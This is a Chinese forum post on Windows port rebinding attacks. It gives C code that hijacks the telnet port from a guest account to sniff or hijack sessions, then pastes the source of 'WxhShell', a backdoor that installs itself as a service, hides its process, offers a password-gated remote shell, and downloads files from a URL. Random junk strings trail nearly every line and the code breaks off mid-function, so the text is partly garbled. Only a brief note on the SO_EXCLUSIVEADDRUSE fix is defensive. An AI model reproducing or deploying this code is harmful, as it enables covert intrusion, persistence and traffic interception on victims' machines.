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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7%F8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vAH`tPi>  
KDEcR  
  saddr.sin_family = AF_INET; =*Ru 2  
H%^j yGS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |xX>AMZc)D  
3S h#7"K3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aZBb@~Y  
gK+/wTQ%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R^ &nBwp  
)"4v0dv  
  这意味着什么?意味着可以进行如下的攻击: ae-hQF&  
9:1[4o)~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~ u',Way  
qG?svt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W1;u%>Uh  
c D0-g=&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ne-; gTP;  
8 bpYop7 L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <V_P)b8$1  
 HLsG<#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O;m@fS2%3  
"GY/2;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j8 |N;;MN  
QxS=W2iN  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Qqn9nO9  
C<u<:4^H  
  #include ObIL  w  
  #include w/UZ6fu  
  #include J_ y+.p- 5  
  #include    (//f"c]/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Gr}lr gPS  
  int main() 3sF^6<E  
  { hCFgZiH2  
  WORD wVersionRequested; [8$K i$;  
  DWORD ret; yK"T5^o  
  WSADATA wsaData; M# a1ev  
  BOOL val; 1xsIM'&  
  SOCKADDR_IN saddr; y3{ F\K  
  SOCKADDR_IN scaddr; ##_Jz5P  
  int err; 6L4<c+v_  
  SOCKET s; B?pNF+?'z  
  SOCKET sc; || 0n%"h>i  
  int caddsize; <yw(7  
  HANDLE mt; g*%z{w  
  DWORD tid;   Kg>ehn4S@  
  wVersionRequested = MAKEWORD( 2, 2 ); ^p}|""\j  
  err = WSAStartup( wVersionRequested, &wsaData ); SoPiEq  
  if ( err != 0 ) { N:nhS3N<L  
  printf("error!WSAStartup failed!\n"); $7 FT0?kG  
  return -1; LzE$z,  
  } fq,LXQ#G  
  saddr.sin_family = AF_INET; rwh,RI) )g  
    5i|DJ6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5wgeA^HE2y  
~+OAAkJ9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G>f2E49BXt  
  saddr.sin_port = htons(23); XjINRC8^4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >u R0 Xs;V  
  { =QQTHL{3  
  printf("error!socket failed!\n"); D_2~ 6  
  return -1; 9Impp5`/B  
  } uW4wTAk;qh  
  val = TRUE; JT(6Uf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }X?M6;$)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) wcW8"J'AH  
  { M`u&-6  
  printf("error!setsockopt failed!\n"); op5G}QZ  
  return -1; Tc.k0n%W:b  
  } ?vn9HhTD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; U?.cbB,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fqp!^-!X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %ok??_}$}q  
i$ CN{c*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7>,(QHl  
  { o.|P7{v}  
  ret=GetLastError(); TpIx!R9  
  printf("error!bind failed!\n"); e/s8?l  
  return -1; ^]{m*bEkR  
  } {2,vxGi  
  listen(s,2); Z\. n6  
  while(1) *JT,]7>  
  { tkj QSz  
  caddsize = sizeof(scaddr); ":!7R<t  
  //接受连接请求 NcMohpkq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vj,OX~|  
  if(sc!=INVALID_SOCKET) AAW])c`.  
  { /|MHZ$Y9w?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PqDffZ^z  
  if(mt==NULL) \{u 9Kc  
  { =R6IW,*  
  printf("Thread Creat Failed!\n"); B/F6WQdZ  
  break; P#o"T4 >  
  } 56`Tna,t  
  } 1~aP)q  
  CloseHandle(mt); o4PJ9x5R!  
  } ~4^~w#R  
  closesocket(s); =&~7Q"  
  WSACleanup(); 9S_PZH  
  return 0; U_[<,JE  
  }   ]:_s7v  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8Z[YcLy"({  
  { `WRM7  
  SOCKET ss = (SOCKET)lpParam; $s.:H4:I  
  SOCKET sc; j0`)mR}  
  unsigned char buf[4096]; K6d2}!5  
  SOCKADDR_IN saddr; hb ="J349  
  long num; =`pH2SJT  
  DWORD val; HzQ Y\Y6  
  DWORD ret; iKM!>Fi  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #AO?<L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0(|Yy/Yq  
  saddr.sin_family = AF_INET; 6 @A'N(I=O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mv?$zV"`#  
  saddr.sin_port = htons(23); w Sd|-e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JEh(A=Eu>  
  { ?[VL 2dP0  
  printf("error!socket failed!\n"); #UesXv  
  return -1; &m=73 RN  
  } j[Q9_0R~lR  
  val = 100; R(AS$<p{!>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h ]6: `5-  
  { H~:EPFi.(  
  ret = GetLastError(); Y!qn[,q8  
  return -1; r7^oqEp@B  
  } H5!e/4iz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1tIJ'#6  
  { 4^(aG7  
  ret = GetLastError(); N}gPf i  
  return -1; Q&]f9j_  
  } fvBL? x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f"RS,]  
  { sXaudT  
  printf("error!socket connect failed!\n"); N3(.7mxo  
  closesocket(sc); l9t|@9  
  closesocket(ss); v|Y ut~  
  return -1; nghpWODq  
  } xQ,My  
  while(1) 5RsO^2V:  
  { N@#,YnPI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ItD&L ))  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =n<Lbl(7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C C B'  
  num = recv(ss,buf,4096,0); :Xi&H.k)p  
  if(num>0) Ms 3Sri  
  send(sc,buf,num,0); u*=8s5Q[  
  else if(num==0)  <BiSx  
  break; V| &->9"  
  num = recv(sc,buf,4096,0); Ji)Ys ebV  
  if(num>0) !9t,#?!  
  send(ss,buf,num,0); WCD)yTg:ES  
  else if(num==0) z50P* eS  
  break; eXQLE]L]  
  } |i\%> Y,  
  closesocket(ss); + l hJ8&  
  closesocket(sc); Mz6PH)e;  
  return 0 ; `Kbf]"4q  
  } 8+@j %l j  
= 6'Fm$R  
6,cJ3~!48  
========================================================== cDIZkni=  
p1N3AhXY  
下边附上一个代码,,WXhSHELL bRD-[)  
GIZw/L7Yb  
========================================================== Ge7Uety  
Nsn~mY%  
#include "stdafx.h" H <9_BA?  
H~ E<ek'~  
#include <stdio.h> %<0'xJ%%Q  
#include <string.h> p""\uG'  
#include <windows.h> +"1fr  
#include <winsock2.h> MfZamu5+F  
#include <winsvc.h> bae;2| w  
#include <urlmon.h> Y'<wE2ZL)  
3Fw7q"  
#pragma comment (lib, "Ws2_32.lib") :cvT/xhO  
#pragma comment (lib, "urlmon.lib") G=/^]E  
#y-R*4G  
#define MAX_USER   100 // 最大客户端连接数 Du #>y!  
#define BUF_SOCK   200 // sock buffer Cto>~pV  
#define KEY_BUFF   255 // 输入 buffer c] -  
7M)<Sv  
#define REBOOT     0   // 重启 E#R1  
#define SHUTDOWN   1   // 关机 o3$dl`'  
z HT#bP:o  
#define DEF_PORT   5000 // 监听端口 #/> a`Ur_  
wk#cJ`wG;  
#define REG_LEN     16   // 注册表键长度 lVCnu> 8  
#define SVC_LEN     80   // NT服务名长度 $0R5 ]]db)  
y$+=>p|d.^  
// 从dll定义API  SQ&}18Z~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6 2#@Y-5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L*OG2liJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bFhZSk )  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U(gYx@   
(mplo|>  
// wxhshell配置信息 ~O~iP8T  
struct WSCFG { : { iK 5  
  int ws_port;         // 监听端口 zZ,"HY=jN  
  char ws_passstr[REG_LEN]; // 口令 ++n_$Qug  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0avtfQ +f  
  char ws_regname[REG_LEN]; // 注册表键名 w75Ro6y  
  char ws_svcname[REG_LEN]; // 服务名 10Q!-K),p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IrUoAQ2xpG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V?)YQ B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eX1_=?$1P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fr'DV/T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $xCJ5M4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %(|-+cLW+  
8DX5bB  
}; +p[O|[z  
+/ {lz8^,  
// default Wxhshell configuration Cp+tcrd_s  
struct WSCFG wscfg={DEF_PORT, Fi/`3A@68  
    "xuhuanlingzhe", :}2Tof2  
    1, hBaF^AWW  
    "Wxhshell", <Sr:pm  
    "Wxhshell", -24ccN;  
            "WxhShell Service", @Ko#nDEq  
    "Wrsky Windows CmdShell Service", ?D|kCw69SE  
    "Please Input Your Password: ", -Kw7! =_ g  
  1, *pDS%,$xe  
  "http://www.wrsky.com/wxhshell.exe", Tq SjL{l%  
  "Wxhshell.exe" v,Zoy|Lu  
    }; hYh~%^0dt  
Khl0~  
// 消息定义模块 &*bpEdkZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U_hzSf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (&u'S+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }u8g7Nj  
char *msg_ws_ext="\n\rExit."; 9R">l5u  
char *msg_ws_end="\n\rQuit."; I2krxLPd  
char *msg_ws_boot="\n\rReboot..."; ZvLI~ul(zT  
char *msg_ws_poff="\n\rShutdown..."; f$5\ b[O  
char *msg_ws_down="\n\rSave to "; /EJy?TON*  
scTt53v^  
char *msg_ws_err="\n\rErr!"; x0%yz+i{:  
char *msg_ws_ok="\n\rOK!"; @iMF&\KC  
GvvKM=1  
char ExeFile[MAX_PATH]; R](cko=  
int nUser = 0; UkXa mGoy3  
HANDLE handles[MAX_USER]; Lxv6\3I+  
int OsIsNt; z_=V6MDM  
M`8c|*G   
SERVICE_STATUS       serviceStatus; x8x-b>|$&<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fdHFSnQ g  
s}yN_D+V  
// 函数声明 Sx (E'?]  
int Install(void); F\v~2/J5v  
int Uninstall(void); o q6^  
int DownloadFile(char *sURL, SOCKET wsh); F@#p  
int Boot(int flag); IxG7eX!  
void HideProc(void); qq_ZkU@xg  
int GetOsVer(void); ]g }5p4*&  
int Wxhshell(SOCKET wsl); keG\-f  
void TalkWithClient(void *cs); UI'fzlB  
int CmdShell(SOCKET sock); /{/mwS"W  
int StartFromService(void); 0P{8s  
int StartWxhshell(LPSTR lpCmdLine); |7Ab_  
NxDVU?@p*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3lEP:Jp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aT+w6{%Z  
/d/]#T[Z9  
// 数据结构和表定义 i2;,\FI@t%  
SERVICE_TABLE_ENTRY DispatchTable[] = Vg :''!4t2  
{ P}>>$$b\Yi  
{wscfg.ws_svcname, NTServiceMain}, Ab:ah 7!  
{NULL, NULL} o}f$?{)|   
}; ITEf Q@#jU  
=fdW H4  
// 自我安装 ?GtI.flV  
int Install(void) NB86+2stu  
{ Y"^.6  
  char svExeFile[MAX_PATH]; ZR"qrCSw`  
  HKEY key; fC[~X[H  
  strcpy(svExeFile,ExeFile); )O$S3ojZ  
Z c#Jb  
// 如果是win9x系统,修改注册表设为自启动 M _lLP8W}  
if(!OsIsNt) { JiuA"ks)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vS[\ j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Bw3@c  
  RegCloseKey(key); ^R)]_   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2$VSH&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); feeHXKD|  
  RegCloseKey(key); 1'iQlnMO@  
  return 0; g6S-vSX,  
    } }R YPr  
  } -}( o+!nl  
} DRTT3;,N  
else { TZ3gJ6 Cb  
{*r!oD!'  
// 如果是NT以上系统,安装为系统服务 ~*+evAP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cS2]?zI  
if (schSCManager!=0) Ly R<cd$W  
{ A:(qF.Tm  
  SC_HANDLE schService = CreateService QFoCi&  
  ( tA'5ufj*:  
  schSCManager, .I$+ E  
  wscfg.ws_svcname, #XqiXM~^R  
  wscfg.ws_svcdisp, NR-<2 e3  
  SERVICE_ALL_ACCESS, B[ D s?:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Bn=YGEvz  
  SERVICE_AUTO_START, ?'"BX  
  SERVICE_ERROR_NORMAL, .3@Pz]\M#>  
  svExeFile, 4d}n0b\d  
  NULL, '<*%<J{(  
  NULL, @`Dh 7Q  
  NULL, Uyeo0B"  
  NULL, wuXH'  
  NULL ,t9CP  
  ); -mo4`F  
  if (schService!=0) <]|!quY<*  
  { yX%> %#$  
  CloseServiceHandle(schService); 8<KC-|y.  
  CloseServiceHandle(schSCManager); Ol>/^3 a=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /F''4%S?E  
  strcat(svExeFile,wscfg.ws_svcname); C@-cLk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^P A|RFP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PI,2b(`h_  
  RegCloseKey(key); Ml{4)%~Y7f  
  return 0; FFmXT/K"/j  
    } ~Ga{=OM??  
  } A`>^A]%  
  CloseServiceHandle(schSCManager); 5~(nHCf>  
} lH@goh  
} Gl6:2  
]"YXa~b  
return 1; w{;~  
} }#Iqq9[  
(Kg)cc[B`  
// 自我卸载 $BB^xJ\O  
int Uninstall(void) wyAh%'V  
{ p6)6Gcx  
  HKEY key; |  >yc|W  
9}42s+  
if(!OsIsNt) { ljz=u;O)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { EU'rdG*t/R  
  RegDeleteValue(key,wscfg.ws_regname); k)y<iHR_o  
  RegCloseKey(key); q./jYe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { De>,i%`Q,D  
  RegDeleteValue(key,wscfg.ws_regname); ]=/?Ooh  
  RegCloseKey(key); Tn(uH17  
  return 0; /+. m.TF  
  } 0 N0< 4b  
} NqFfz9G)  
} v:>sS_^  
else { [biz[ fm  
+bb-uoZf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wqap~X  
if (schSCManager!=0) S@~ReRew2  
{ f}ch1u>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -rHqU|  
  if (schService!=0) fZJM'+J@A  
  { 77 Z:!J|  
  if(DeleteService(schService)!=0) { #T`1Z"h<  
  CloseServiceHandle(schService); _G/uDP%  
  CloseServiceHandle(schSCManager); +@7c:CAy(  
  return 0; u09D`QPP]  
  } +>c%I&h}`  
  CloseServiceHandle(schService); +#A~O4%t  
  } Q7UQwAN'  
  CloseServiceHandle(schSCManager); 3hzz*9/n  
} L}A2$@  
} nvc(<Ovw  
Ywcgt|  
return 1; q6%m .X7  
} km`";gUp>  
Pi,86?  
// 从指定url下载文件 ^% Ln@!P  
int DownloadFile(char *sURL, SOCKET wsh) ~(`MP<  
{ F< dhG>E9  
  HRESULT hr; O@:R\MwFOZ  
char seps[]= "/"; X76rme  
char *token; _6]CT0  
char *file; - &)  
char myURL[MAX_PATH]; ,zJ:a>v  
char myFILE[MAX_PATH]; -b?s\X  
hQvI}  
strcpy(myURL,sURL); ' 8Q }pp`  
  token=strtok(myURL,seps); /R6\_oM  
  while(token!=NULL) gl2l%]=\'  
  { e<~bDFH  
    file=token; OF;"%IW~}  
  token=strtok(NULL,seps); GW7+#  
  } X]\; f  
E% Ko[G  
GetCurrentDirectory(MAX_PATH,myFILE); fj9&J[  
strcat(myFILE, "\\"); bz [?M}  
strcat(myFILE, file); BgB0   
  send(wsh,myFILE,strlen(myFILE),0); [g=4'4EZc  
send(wsh,"...",3,0); 8M BY3F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wARd^Iw  
  if(hr==S_OK) Kv#Q$$)r  
return 0; 0[8uuqV[cB  
else fN9uSnu  
return 1; TIF  =fQ  
Wi~?2-!  
} 'I>geW?{QK  
1p<*11  
// 系统电源模块 li#ep?5h^  
int Boot(int flag) gnf4H V~  
{ U0N6\+  
  HANDLE hToken; ;:Tb_4Hr  
  TOKEN_PRIVILEGES tkp; 8\PI1U  
b/E3Kse?  
  if(OsIsNt) { *h pS/g/3\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); muhu` k`C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -f?,%6(1  
    tkp.PrivilegeCount = 1; &7{yk$]*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rf!i?vAe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wX <ov0?[  
if(flag==REBOOT) { @Q!Tvw/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qmNG|U&  
  return 0; f/m0,EERk  
} uw@-.N^  
else { fEGnI\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \(zUI  
  return 0; ^^YP kh6sS  
} ~ET XXu${I  
  } &F*eo`o}6  
  else { {rygIl{V  
if(flag==REBOOT) { N7)K\)DS!z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1DH P5q  
  return 0; o}52Qio  
} c68,,rJO]i  
else { 3aJYl3:0B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L;6{0b58 $  
  return 0; ke2M&TV  
} C[><m2T  
} F8\JL %  
V~$?]Z%_  
return 1; UI~hB4V$]  
} 0])[\O`j  
FB3}M)G>M  
// win9x进程隐藏模块 Q0g^%  
void HideProc(void) S2#@j#\  
{ aeEio;G1  
'<6DLtZl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [88PCA:  
  if ( hKernel != NULL ) EbJc%%c  
  { XXXQAY-,C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vu:] [2"0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m.lzkS]P  
    FreeLibrary(hKernel); "}S6a?]V  
  } !';;q  
Z ?F_({im  
return; ,Z8)DC=  
} \]3[Xw-$  
 LYyud  
// 获取操作系统版本 &fE2zTz  
int GetOsVer(void) EQ>@K-R  
{ +.-mqtM  
  OSVERSIONINFO winfo; CbOCL~ "  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x X.{(er  
  GetVersionEx(&winfo); s'BlFB n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) , hp8b$  
  return 1; l4U  
  else c/l^;6O/!\  
  return 0; \4O_@d`A  
} <driD'=F  
Tz&h[+6`  
// 客户端句柄模块 v]}\Ns/  
int Wxhshell(SOCKET wsl) YhP+{Y8t  
{  _ Ewkb  
  SOCKET wsh; VuD{t%Jb  
  struct sockaddr_in client; :4r*Jju<V  
  DWORD myID; AP ]`'C  
P#[?Kfi  
  while(nUser<MAX_USER) >.uIp4@(  
{ wVc ^l  
  int nSize=sizeof(client); y<c7RK]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aYc^ 9*7  
  if(wsh==INVALID_SOCKET) return 1; !.499H3  
!1Ht{cA0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q07&7SH_  
if(handles[nUser]==0) FB %-$  
  closesocket(wsh); FbXur-et^  
else %8xKBL]J  
  nUser++; dk0} q6~  
  } {vQ:4O!:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'LR|DS[Ne  
F 1l8jB\  
  return 0; W>'(MB$3  
} ZX'3qW^D  
`^|l+TJG  
// 关闭 socket JoD@e[(  
void CloseIt(SOCKET wsh) e`Co ='  
{ Of}C.N8  
closesocket(wsh); RrdLh z2N  
nUser--; OP\L  
ExitThread(0); $oPc,zS-gL  
} `O`MW} c  
)jh~jU?c@  
// 客户端请求句柄 e\!Aoky  
void TalkWithClient(void *cs) bCiyz+VyJn  
{ *;U<b  
4[)tO-v:Y  
  SOCKET wsh=(SOCKET)cs; 7`&6l+S|  
  char pwd[SVC_LEN]; JEF;Q  
  char cmd[KEY_BUFF]; x~K79Mya  
char chr[1]; l hST%3Ld  
int i,j; +,j6dYub  
IR8yE`(h  
  while (nUser < MAX_USER) { 9_ZGb"(Lj  
YPA$38  
if(wscfg.ws_passstr) { $V F$Ok>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p1W6s0L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M`E}1WNQ?]  
  //ZeroMemory(pwd,KEY_BUFF); 5Vai0Qfcu:  
      i=0; Z;njSw%:  
  while(i<SVC_LEN) { *,~L_)vWO  
<(H<*Xf9  
  // 设置超时 <j3|Mh_(I  
  fd_set FdRead; ~YByyJG   
  struct timeval TimeOut; hD4>mpk  
  FD_ZERO(&FdRead); rK|("  
  FD_SET(wsh,&FdRead); U*,\UF  
  TimeOut.tv_sec=8; d]MpE9@'v  
  TimeOut.tv_usec=0; OL_jU2,fv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fK2r6D9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wuM'M<J@  
mu5r4W47  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HJP~ lg  
  pwd=chr[0]; |dDKO  
  if(chr[0]==0xd || chr[0]==0xa) { ZT8LMPC  
  pwd=0; &9"Y:),  
  break; }6=? zs}  
  } t0Jqr)9}6  
  i++; ?Iq{6O>D.  
    } 8H`L8: CM  
'sE["eC  
  // 如果是非法用户,关闭 socket h@o6=d=4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #on ,;QN  
} kt=& mq/B  
^a Q&.q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *z.rOY= 8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }D.\2x(J  
X5)(,036  
while(1) { Kr;=4xg=  
G*jq5_6  
  ZeroMemory(cmd,KEY_BUFF); N;k)>  
<lLJf8OK  
      // 自动支持客户端 telnet标准   M?GkHJ%!  
  j=0; ia3!&rZ  
  while(j<KEY_BUFF) { /)kx`G_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ).A9>^6?{  
  cmd[j]=chr[0]; @th94tk,  
  if(chr[0]==0xa || chr[0]==0xd) { :8HVq*itS  
  cmd[j]=0; {m@tt{%  
  break; o8v,17 8  
  } |~PaCw8-ge  
  j++;  nF<xJs  
    } \Hf/8!q  
wNn=JzP  
  // 下载文件 pf%; *  
  if(strstr(cmd,"http://")) { F^`+.G\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nwe-7/Q  
  if(DownloadFile(cmd,wsh)) ?%Ww3cU+J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e8#83|h  
  else <XtE|LG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+8VW;4|I  
  } KY%{'"'u  
  else { 6 jm@`pYbE  
3:xKq4?  
    switch(cmd[0]) { HFlExa u  
   sFnR;  
  // 帮助 #9F>21UU  
  case '?': { Nh}u]<B  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7#NHPn  
    break; 9v?@2sOoE  
  } !2^~ar{2  
  // 安装 WuFBt=%  
  case 'i': { TdT`V f  
    if(Install()) =LKM)d=1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D$*o}*mb  
    else Yl:[b{Py  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {cb<9Fii  
    break; ;r&Z?B$  
    } s9OW.i]zX  
  // 卸载 4nQ5zwiV  
  case 'r': { M ?AX:0  
    if(Uninstall()) 8FZC0j.^DH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s@{~8cHgU  
    else ^E:-Uy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }`%ks  
    break; 57 Bx-  
    } ;R Jv7@  
  // 显示 wxhshell 所在路径 k7;i^$@c  
  case 'p': { /wl]kGF  
    char svExeFile[MAX_PATH]; U_ j[<.aN)  
    strcpy(svExeFile,"\n\r"); !pkIaCxs  
      strcat(svExeFile,ExeFile); S^|U"  
        send(wsh,svExeFile,strlen(svExeFile),0); dv+ZxP%g  
    break; }/,Rp/+7]  
    } R!lug;u#  
  // 重启 jzGK(%sw"  
  case 'b': { xI~A Z:m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }P-C-L{yE(  
    if(Boot(REBOOT)) W&&|T;P<J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &43c/T Sb  
    else { #z<# oC5  
    closesocket(wsh); MGxkqy?  
    ExitThread(0); ] $r].,&  
    } yT5OFD|T  
    break; yU4mS;GX  
    } }.Z `   
  // 关机 /BD'{tZ]Sl  
  case 'd': { YD;d*E%t  
